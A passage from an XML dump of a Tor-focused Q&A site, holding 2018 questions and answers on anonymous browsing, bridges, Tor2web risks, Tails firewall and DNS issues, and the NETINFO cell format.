WAN through a packet filter (with only the bridge white-listed).  This blocks all outside-the-Tor-tunnel traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that kind of setup I was able to pass all sorts of traffic successfully end-to-end, UDP, ICMP, etc., not just TCP.&lt;/p&gt;&#xA;" OwnerUserId="14242" LastActivityDate="2018-01-09T23:19:16.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16452" PostTypeId="1" AcceptedAnswerId="16460" CreationDate="2018-01-09T23:35:01.897" Score="1" ViewCount="2424" Body="&lt;p&gt;I'm new to this sort of thing and its difficult to grasp the whole thing especially since I'm on android. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I want to do is browse without my Internet provider or anyone else from being able to see it at least easily. I just got into this stuff today so I'm just wondering how I would be able to go about that. (I have orbot installed and ready to use with VPN on)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help. &lt;/p&gt;&#xA;" OwnerUserId="20626" LastEditorUserId="20628" LastEditDate="2018-07-03T19:42:53.063" LastActivityDate="2018-07-03T19:42:53.063" Title="How to browse anonymously?" Tags="|orbot|android|" AnswerCount="1" CommentCount="7" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16454" PostTypeId="2" ParentId="16442" CreationDate="2018-01-10T15:54:51.427" Score="2" Body="&lt;p&gt;Most likely your school is blocking all connections to tor servers (including directory servers). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To bypass this block you can try using the built-in bridges or get some from &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bridges.torproject.org&lt;/a&gt; using another computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For additional information see: &lt;a href=&quot;https://www.torproject.org/docs/bridges.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor project: Bridges&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20628" LastActivityDate="2018-01-10T15:54:51.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16455" PostTypeId="2" ParentId="16411" CreationDate="2018-01-10T21:03:59.630" Score="0" Body="&lt;p&gt;Okay, so now it's enough information to answer your question:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Directory mirror&lt;/strong&gt; is completely safe to be taken from literally anywhere, because it is just a set of database files that were &lt;em&gt;digitally signed by the directories&lt;/em&gt;, and the dir keys are hardcoded. So &lt;strong&gt;any&lt;/strong&gt; node can verify the signature before trusting the piece of data. This makes not just a &lt;em&gt;way&lt;/em&gt; faster network experience - it also fights censorship, because you can take the copy from so many places from a &lt;em&gt;constantly changing&lt;/em&gt; list of nodes - it's nearly-impossible and practically useless to censor them all.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Relay with no guard flag&lt;/strong&gt; is harmless either: Tor has &lt;em&gt;already&lt;/em&gt; contacted the network &lt;em&gt;through the entry guard&lt;/em&gt; and made sure that the relay is not blacklisted, stable and fast enough to serve you. The actual reason of the connection is being made can be quite different and depends on situation - but Guard is used to secure the vital data traffic to integrate your node into the network.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2018-01-10T21:03:59.630" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16456" PostTypeId="2" ParentId="16411" CreationDate="2018-01-10T22:26:35.807" Score="0" Body="&lt;p&gt;There are many reasons this might happen, one might be to contact Directory Authorities or Fallback Directory Mirrors in cases where you don't have an up-to-date enough consensus to connect to the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another is that, while Tor prefers to use one specific guard it still keeps a set of guards and can sample that set of guards to ensure they're still reachable, and will use them if there is an issue with the reachability of the primary guard. (You can read more about it in the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/guard-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;guard spec&lt;/a&gt; which defines this process).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this isn't abnormal and is expected behaviour.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-01-10T22:26:35.807" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16457" PostTypeId="1" CreationDate="2018-01-11T08:28:09.950" Score="0" ViewCount="2456" Body="&lt;p&gt;I've been using tor on my phone and now websites tell me my my ip address has been blacklisted and I am blocked from most sites. Anyone know how this can be fixed please? &lt;/p&gt;&#xA;" OwnerUserId="20637" LastActivityDate="2018-01-11T15:43:00.857" Title="Tor ip address blacklisted. Can anyone help?" Tags="|ip-address|" AnswerCount="1" CommentCount="0" ClosedDate="2018-02-08T20:15:03.497" ContentLicense="CC BY-SA 3.0" />
  <row Id="16459" PostTypeId="2" ParentId="16457" CreationDate="2018-01-11T15:43:00.857" Score="0" Body="&lt;p&gt;There is most likely not much you can really do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What you can try:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Switch exit relay until you find one that isn't blocked (might not be possible if the site updates it's blacklist frequently)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Except for that one option I don't think there is a way to bypass this.&#xA;Some sites unfortunately just block all Tor exit addresses.&lt;/p&gt;&#xA;" OwnerUserId="20628" LastActivityDate="2018-01-11T15:43:00.857" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16460" PostTypeId="2" ParentId="16452" CreationDate="2018-01-11T15:46:42.587" Score="0" Body="&lt;p&gt;You best option is probably to use Orfox paired with the latest version of Orbot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the most recommended setup since other browsers might make you vulnerable against fingerprinting and tracking methods, you don't have to worry about using Orfox.&lt;/p&gt;&#xA;" OwnerUserId="20628" LastActivityDate="2018-01-11T15:46:42.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16461" PostTypeId="1" CreationDate="2018-01-12T03:37:49.887" Score="0" ViewCount="1859" Body="&lt;p&gt;So I thought that would happen if I type an .onion address into safari and add a .to to the address without deleting .onion while doing this I was using a VPN but the page did not open so I tried .city and it came some weird looking tor error like tor does not host this webpage and some weird error. But when I try it now it doesn't even load so here's the reference:&#xA;&lt;a href=&quot;https://www.tor2web.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.tor2web.org&lt;/a&gt;. Am I already tracked. Like I mean the deep web link did not load but am I infected with malware?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. What exactly is Tor2Web? I am not really good at internet stuff; :)&lt;/p&gt;&#xA;" OwnerUserId="20643" LastEditorUserId="20069" LastEditDate="2018-01-30T16:51:49.527" LastActivityDate="2018-01-30T16:51:49.527" Title="What happens when you add a .to or .direct or .city to an onion link?" Tags="|onion-routing|mac|" AnswerCount="1" CommentCount="0" ClosedDate="2018-01-15T22:03:39.327" ContentLicense="CC BY-SA 3.0" />
  <row Id="16464" PostTypeId="2" ParentId="16461" CreationDate="2018-01-12T13:34:37.723" Score="2" Body="&lt;p&gt;Those are all Tor2web proxies and your first thought should be to &lt;strong&gt;not&lt;/strong&gt; use them. You first thought should be to use Tor Browser when you want to access onion services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The contents of the following link are copy/pasted below in case the person (me) takes down their blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://matt.traudt.xyz/p/mhk3vrBX.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://matt.traudt.xyz/p/mhk3vrBX.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Why they exist&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;They exist so people can access onion services without using Tor. That's it. If&#xA;the user doesn't know all the caveats that come along with that benefit, then&#xA;she is probably really hurting herself. And if the user is already using Tor&#xA;Browser, there is no valid reason for her to be using a tor2web proxy. &lt;strong&gt;Tor2web&#xA;proxies are not a troubleshooting step&lt;/strong&gt;. Please stop using them like one.&#xA;Please stop suggesting them to people.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Why they are bad&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;Payload/Session Leakage&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Since the tor2web proxy is the one connecting to the onion service for Alice, it&#xA;gets to see everything. If Alice is visiting a forum or image board, the proxy&#xA;gets to see all the posts and all the images. If Alice is logging into&#xA;something, the proxy gets to see her credentials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me repeat that. &lt;strong&gt;When you use a tor2web proxy, it gets to see EVERYTHING.&#xA;Your credentials if you sign in. Any cookies. Any uploads you make. All the&#xA;pages you request and their contents.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Onion Service Enumeration&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Tor2web websites are like regular websites. Like google.com or facebook.com.&#xA;When the browser gets a request for anything.onion.to, it consults DNS to&#xA;resolve it. So every DNS server that the computer is configured to talk to (and&#xA;is told to forward its request onto by its configured servers) will find out&#xA;that anything.onion exists and someone wants to access it. If the user, Alice,&#xA;isn't using Tor Browser, then the DNS servers also find out that the someone is&#xA;her. Not good!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if Alice is using Tor Browser, now the tor2web proxy knows that&#xA;anything.onion exists. In fact, many have sold or still sell information on what&#xA;onion services have been requested through them. For example, see &lt;a href=&quot;https://onion.cab/list.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;onion.cab's&#xA;list&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;User/Onion Correlation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is very similar to a point made already, but this focuses on the&#xA;consequences to the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tor2web proxy knows someone is interseted in anything.onion. If the user&#xA;isn't using Tor Browser, the tor2web proxy also knows the IP of the user. If&#xA;that's not bad enough, if for some reason the tor2web proxy suspects that this&#xA;anything.onion is (almost) never accessed by anyone else, then it may conclude&#xA;that the person that just requested the onion service must be the&#xA;owner.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Real Troubleshooting&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If anything.onion doesn't work for you, &lt;em&gt;don't go and try anything.onion.to&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using Tor Browser, and have changed network proxy settings like you&#xA;would in regular Firefox, &lt;strong&gt;don't do that&lt;/strong&gt;! You are probably able to connect to&#xA;regular websites and anything.onion.to, but you won't be able to connect to&#xA;anything.onion because &lt;strong&gt;you aren't using Tor&lt;/strong&gt;. You are not being secured by&#xA;Tor. The only way you should change&#xA;proxy settings is via the onion button, and you should only do that if your ISP&#xA;requires it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using Tor Browser, you didn't change proxy settings, you can access&#xA;anything.onion.to, you can't access anything.onion, and you're pretty sure&#xA;Tor/Tor Browser are working fine, then &lt;strong&gt;the onion service is probably down&lt;/strong&gt;.&#xA;There's nothing you can do about it. The anything.onion.to is just a cached&#xA;copy of parts of the onion service that the tor2web proxy has fetched recently.&#xA;You aren't getting the real website and you can't interact with it. Poor uptime&#xA;is a fact of life for most onion services. They are often shortlived, are only&#xA;up a few hours each day, or both. Most are run by amateurs.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Summary&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Don't play with your anonymity. Learn a little bit about how things work so you&#xA;can be safe. Adding something to the end of an onion address sounds like a good&#xA;easy way to get access to something that isn't working, but it isn't.&#xA;Slightly changing youtube.com into some other domain name that fetches the video&#xA;for you so you don't have to sign in to watch something flagged as adult is the&#xA;same idea, but at least your safety (probably) isn't at risk in that case.&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2018-01-12T13:34:37.723" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16466" PostTypeId="1" CreationDate="2018-01-12T16:47:26.383" Score="-1" ViewCount="64" Body="&lt;p&gt;What tor product can I use to make a cl listing and not expose my ip for flagging? Thanks&lt;/p&gt;&#xA;" OwnerUserId="20647" LastActivityDate="2018-01-13T08:08:44.460" Title="What tor product would you recomend to anony,mously post a cl ad to prevent immediate flagging?" Tags="|anonymity|" AnswerCount="1" CommentCount="0" ClosedDate="2018-01-15T21:18:16.603" ContentLicense="CC BY-SA 3.0" />
  <row Id="16467" PostTypeId="1" CreationDate="2018-01-12T22:34:49.643" Score="1" ViewCount="547" Body="&lt;p&gt;So I have tor or tor browser installed on my PC I have medium security setting on but what now am I safe to search??  I'm new to this whole thing and I've got it on mobile but I don't really know what to do on PC. &lt;/p&gt;&#xA;" OwnerUserId="20626" LastActivityDate="2022-03-24T05:02:55.277" Title="How to use tor?" Tags="|help|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16468" PostTypeId="1" CreationDate="2018-01-13T00:28:22.360" Score="1" ViewCount="33244" Body="&lt;p&gt;I Had tried a lot of tricks from changing exit nodes or even bridges&#xA;but nothing works, keep in my mind that my ISP banned TOR so Relay system is so slow&lt;/p&gt;&#xA;" OwnerUserId="20652" LastActivityDate="2019-04-29T08:03:05.603" Title="How to speed up tor" Tags="|speed|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16470" PostTypeId="2" ParentId="16466" CreationDate="2018-01-13T08:08:44.460" Score="0" Body="&lt;p&gt;Use the Tor Browser on a computer. Use the Orbot mobil app on an Android device: &lt;a href=&quot;https://www.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Support Portal — FAQs — Which platforms is Tor Browser available for?: &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/org/teams/CommunityTeam/Support#WhichplatformsisTorBrowseravailablefor&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/wiki/org/teams/CommunityTeam/Support#WhichplatformsisTorBrowseravailablefor&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12897" LastActivityDate="2018-01-13T08:08:44.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16471" PostTypeId="2" ParentId="16467" CreationDate="2018-01-13T16:01:52.957" Score="0" Body="&lt;p&gt;If you follow what &lt;a href=&quot;https://www.torproject.org/about/overview.html.en#stayinganonymous&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Tor Project says&lt;/a&gt;, you should be safe. If you're still unsure, browse around their website. If you follow their advice, you should be okay to visit any website you wish (as long as it is legal).&lt;/p&gt;&#xA;" OwnerUserId="14292" LastActivityDate="2018-01-13T16:01:52.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16475" PostTypeId="1" CreationDate="2018-01-15T01:25:20.860" Score="1" ViewCount="45" Body="&lt;p&gt;Guys!&#xA;I get a trouble in using Tor recently.I can't connect to Tor trough Obfs4 and Meek on Android.My ISP is China Mobile Communciations Corporation.Several kinds of VPN and Tor bridges can't work in this serve.What can I do for you to get information about what happen? Please!&lt;/p&gt;&#xA;" OwnerUserId="19632" LastActivityDate="2018-01-15T01:25:20.860" Title="Why it can not connect to Tor?" Tags="|configuration|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16476" PostTypeId="1" CreationDate="2018-01-15T15:50:06.787" Score="0" ViewCount="796" Body="&lt;p&gt;I am setting up tails with crypto wallets of currencies I use. The problem is that torify does not for some reason work with them. I don't really care that much about anonymity, so I have reset iptables to defaults assuming that should do the trick. But it didn't and it seems DNS lookup is failing in the wallets. Any help?&lt;/p&gt;&#xA;" OwnerUserId="20672" LastActivityDate="2018-03-10T15:47:26.117" Title="Allow application direct access to internet without tor" Tags="|tails|torsocks|firewall|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16478" PostTypeId="1" AcceptedAnswerId="16480" CreationDate="2018-01-15T19:06:37.600" Score="0" ViewCount="447" Body="&lt;p&gt;Running Tor on a Raspberry Pi Tor 0.3.2.8-rc (git-3696eb720795a666). From the command line, after starting the daemon I am able to use a localhost telnet connection to talk to the control port, following these guides:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.reddit.com/r/TOR/comments/3aymds/how_to_get_info_about_current_tor_circuit_in/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.reddit.com/r/TOR/comments/3aymds/how_to_get_info_about_current_tor_circuit_in/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that I can verify network status, etc -- is there a command to fetch data from a URL (&lt;a href=&quot;https://www.nytimes3xbfgragh.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.nytimes3xbfgragh.onion/&lt;/a&gt; for example) right from the command line? This is mainly for testing purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** someone with more reputation than me should add a &quot;control-port&quot; tag!&lt;/p&gt;&#xA;" OwnerUserId="20670" LastEditorUserId="20670" LastEditDate="2018-01-15T19:24:26.207" LastActivityDate="2018-01-15T21:21:38.683" Title="How can I use the control port to fetch content from an onion url?" Tags="|linux|server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16480" PostTypeId="2" ParentId="16478" CreationDate="2018-01-15T21:21:38.683" Score="1" Body="&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Control Port is used to control and query the Tor client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Tor as a client and implementing the HTTP protocol is outside of the scope of what the Control Port and the Tor daemon aim to provide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wish to fetch HTTP content over Tor from the command line then there are common commandline utilities like &lt;code&gt;curl&lt;/code&gt;, e.g. &lt;code&gt;curl -x socks5h://127.0.0.1:9050/ https://www.nytimes3xbfgragh.onion/&lt;/code&gt; or using custom scripting around &lt;code&gt;python&lt;/code&gt;'s &lt;code&gt;urllib&lt;/code&gt; or &lt;code&gt;pycurl&lt;/code&gt; as shown by example in this &lt;a href=&quot;https://stem.torproject.org/tutorials/to_russia_with_love.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stem tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-01-15T21:21:38.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16481" PostTypeId="2" ParentId="16476" CreationDate="2018-01-15T21:32:30.463" Score="1" Body="&lt;p&gt;When you &quot;reset&quot; (I assume you mean you flushed/cleared) &lt;code&gt;iptables&lt;/code&gt;, you also killed the &lt;code&gt;iptables&lt;/code&gt; rule which was redirecting traffic destined to &lt;em&gt;127.0.0.1:53&lt;/em&gt; to &lt;em&gt;127.0.0.1:5353&lt;/em&gt;. The latter IP/Port is where Tor is &lt;em&gt;actually&lt;/em&gt; listening and DNS requests are no longer able to reach the DNS listener and so nothing will resolve anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will either need to take a more nuanced approach to &lt;code&gt;iptables&lt;/code&gt; reconfiguration or change the prefered DNS servers to no longer try to use Tor to resolve traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that disabling &lt;code&gt;iptables&lt;/code&gt; in such a manner will break many of the assumptions of Tails' security and may expose you to risks in ways that were previously mitigated against.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-01-15T21:32:30.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16482" PostTypeId="1" CreationDate="2018-01-16T03:57:14.010" Score="1" ViewCount="600" Body="&lt;p&gt;If I need to do a regular image search on a site such as bing.com, for some reason tor will only bring back 4 or 5 images no matter what i search for.  Occasionally I might get 7 images, but all of the rest of the 'images' just show up as colored boxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I do an image search on yahoo.com it returns dozens of grey boxes, but no images at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked all through about.config trying to figure out what setting would control that, but haven't been able to figure it out.  I checked out all of the images settings, and the timeout settings, but no luck.&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="20677" LastActivityDate="2018-01-16T12:54:04.180" Title="image search on regular websites" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16483" PostTypeId="2" ParentId="16482" CreationDate="2018-01-16T12:54:04.180" Score="1" Body="&lt;p&gt;You slid the security slider all the way up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like additional images are loaded with JavaScript, thus you need JavaScript enabled in order to view additional results. Security slider on its highest setting disables JavaScript. Move it to medium or low.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or temporarily allow scripts on the page with the NoScript button and reload the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: do not change about:config options unless you want to break Tor Browser and are capable of fixing it yourself.&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2018-01-16T12:54:04.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16485" PostTypeId="1" CreationDate="2018-01-16T15:52:28.063" Score="0" ViewCount="266" Body="&lt;p&gt;NetInfo cells contain the fields Other OR's address     [variable] and This OR's addresses    [variable].&#xA;I was wondering what their usage is.&#xA;In addition, its documented that the size is variable, but there's no length field that will allow to know the exact size of these fields. So how exactly their size is determined? &lt;/p&gt;&#xA;" OwnerUserId="20493" LastActivityDate="2019-04-23T18:03:00.580" Title="NetInfo cells usage" Tags="|tor-browser-bundle|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16486" PostTypeId="1" CreationDate="2018-01-16T18:27:32.273" Score="1" ViewCount="3090" Body="&lt;p&gt;Is it possible to use Let's Encrypt to generate a certificate for an &lt;code&gt;.onion&lt;/code&gt; address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I read, it is currently not supported, but I wonder whether there are technical reasons preventing it, or are there other (non-technical) objections against giving out certificates for a hidden service?&lt;/p&gt;&#xA;" OwnerUserId="8079" LastActivityDate="2018-01-16T20:50:52.193" Title="Can I get a Let's Encrypt certificate for hidden services?" Tags="|onion-services|https|certificate|" AnswerCount="1" CommentCount="0" ClosedDate="2018-01-18T22:39:53.093" ContentLicense="CC BY-SA 3.0" />
  <row Id="16487" PostTypeId="2" ParentId="16486" CreationDate="2018-01-16T20:50:52.193" Score="0" Body="&lt;p&gt;As far as I know, this is simply not necessary because Tor Hidden Services/Onion Services work like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/jM0PG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jM0PG.png&quot; alt=&quot;Tor connection is encrypted all the way from the user PC to the Onion Server, HTTP is only used as local loopbacks on these devices&quot;&gt;&lt;/a&gt;&#xA;Since the HTTP is only exposed locally between the Tor client and the other application (on the same device), securing this by using HTTPS instead would not do much to improve the overall security.&#xA;The entire connection between the two devices and trough the Tor network is already encrypted.&#xA;Some more infos can be found at &lt;a href=&quot;https://www.torproject.org/docs/tor-onion-service&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/tor-onion-service&lt;/a&gt; so if you haven't done so already, make sure to read that.&lt;/p&gt;&#xA;" OwnerUserId="20689" LastActivityDate="2018-01-16T20:50:52.193" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16488" PostTypeId="2" ParentId="16485" CreationDate="2018-01-16T21:15:21.527" Score="1" Body="&lt;p&gt;From &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;tor-spec.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3. Cell Packet format&#xA;...&#xA;   The 'Command' field of a fixed-length cell holds one of the following&#xA;   values:&#xA;...&#xA;         8 -- NETINFO     (Time and address info)   (See Sec 4.5)&#xA;...&#xA;   VERSIONS and NETINFO cells are used to set up connections in link&#xA;   protocols v2 and higher; in link protocol v3 and higher, CERTS,&#xA;   AUTH_CHALLENGE, and AUTHENTICATE may also be used.  See section 4&#xA;   below.&#xA;&#xA;4. Negotiating and initializing connections&#xA;...&#xA;   When the renegotiation handshake is used, both parties immediately&#xA;   send a VERSIONS cell (4.1 below), and after negotiating a link&#xA;   protocol version (which will be 2), each send a NETINFO cell (4.5&#xA;   below) to confirm their addresses and timestamps.  No other intervening&#xA;   cell types are allowed.&#xA;&#xA;   When the in-protocol handshake is used, the initiator sends a&#xA;   VERSIONS cell to indicate that it will not be renegotiating.  The&#xA;   responder sends a VERSIONS cell, a CERTS cell (4.2 below) to give the&#xA;   initiator the certificates it needs to learn the responder's&#xA;   identity, an AUTH_CHALLENGE cell (4.3) that the initiator must include&#xA;   as part of its answer if it chooses to authenticate, and a NETINFO&#xA;   cell (4.5).  As soon as it gets the CERTS cell, the initiator knows&#xA;   whether the responder is correctly authenticated.  At this point the&#xA;   initiator behaves differently depending on whether it wants to&#xA;   authenticate or not. If it does not want to authenticate, it MUST&#xA;   send a NETINFO cell.  If it does want to authenticate, it MUST send a&#xA;   CERTS cell, an AUTHENTICATE cell (4.4), and a NETINFO.  When this&#xA;   handshake is in use, the first cell must be VERSIONS, VPADDING, or&#xA;   AUTHORIZE, and no other cell type is allowed to intervene besides&#xA;   those specified, except for VPADDING cells.&#xA;&#xA;4.5. NETINFO cells&#xA;&#xA;   If version 2 or higher is negotiated, each party sends the other a&#xA;   NETINFO cell.  The cell's payload is:&#xA;&#xA;         Timestamp              [4 bytes]&#xA;         Other OR's address     [variable]&#xA;         Number of addresses    [1 byte]&#xA;         This OR's addresses    [variable]&#xA;&#xA;   The address format is a type/length/value sequence as given in&#xA;   section 6.4 below, without the final TTL.  The timestamp is a&#xA;   big-endian unsigned integer number of seconds since the Unix epoch.&#xA;&#xA;   Implementations MAY use the timestamp value to help decide if their&#xA;   clocks are skewed.  Initiators MAY use &quot;other OR's address&quot; to help&#xA;   learn which address their connections may be originating from, if they do&#xA;   not know it; and to learn whether the peer will treat the current&#xA;   connection as canonical.  Implementations SHOULD NOT trust these&#xA;   values unconditionally, especially when they come from non-authorities,&#xA;   since the other party can lie about the time or IP addresses it sees.&#xA;&#xA;   Initiators SHOULD use &quot;this OR's address&quot; to make sure&#xA;   that they have connected to another OR at its canonical address.&#xA;   (See 5.3.1 below.)&#xA;...&#xA;&#xA;6.4. Remote hostname lookup&#xA;&#xA;...&#xA;&#xA;       Type   (1 octet)&#xA;       Length (1 octet)&#xA;       Value  (variable-width)&#xA;       TTL    (4 octets)&#xA;   &quot;Length&quot; is the length of the Value field.&#xA;   &quot;Type&quot; is one of:&#xA;      0x00 -- Hostname&#xA;      0x04 -- IPv4 address&#xA;      0x06 -- IPv6 address&#xA;      0xF0 -- Error, transient&#xA;      0xF1 -- Error, nontransient&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the address value has a header of fixed length that includes the value length, a common pattern in network protocols (e.g. SOCKS).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All this information was found with &lt;em&gt;ctrl+f&lt;/em&gt; -&gt; &lt;em&gt;NETINFO&lt;/em&gt;. I believe we've linked the specification to you multiple times in answers now, you might like to take the time to read it thoroughly.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2018-01-16T21:28:12.023" LastActivityDate="2018-01-16T21:28:12.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16492" PostTypeId="2" ParentId="13047" CreationDate="2018-01-17T05:32:01.660" Score="0" Body="&lt;p&gt;The root error is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Could not bind to 0.0.0.0:443: Permission denied&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Give permission to the tor binary to listen on ports below 1024 without root access (if you want to listen on 443 for example):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo setcap CAP_NET_BIND_SERVICE=+eip /usr/bin/tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19270" LastActivityDate="2018-01-17T05:32:01.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
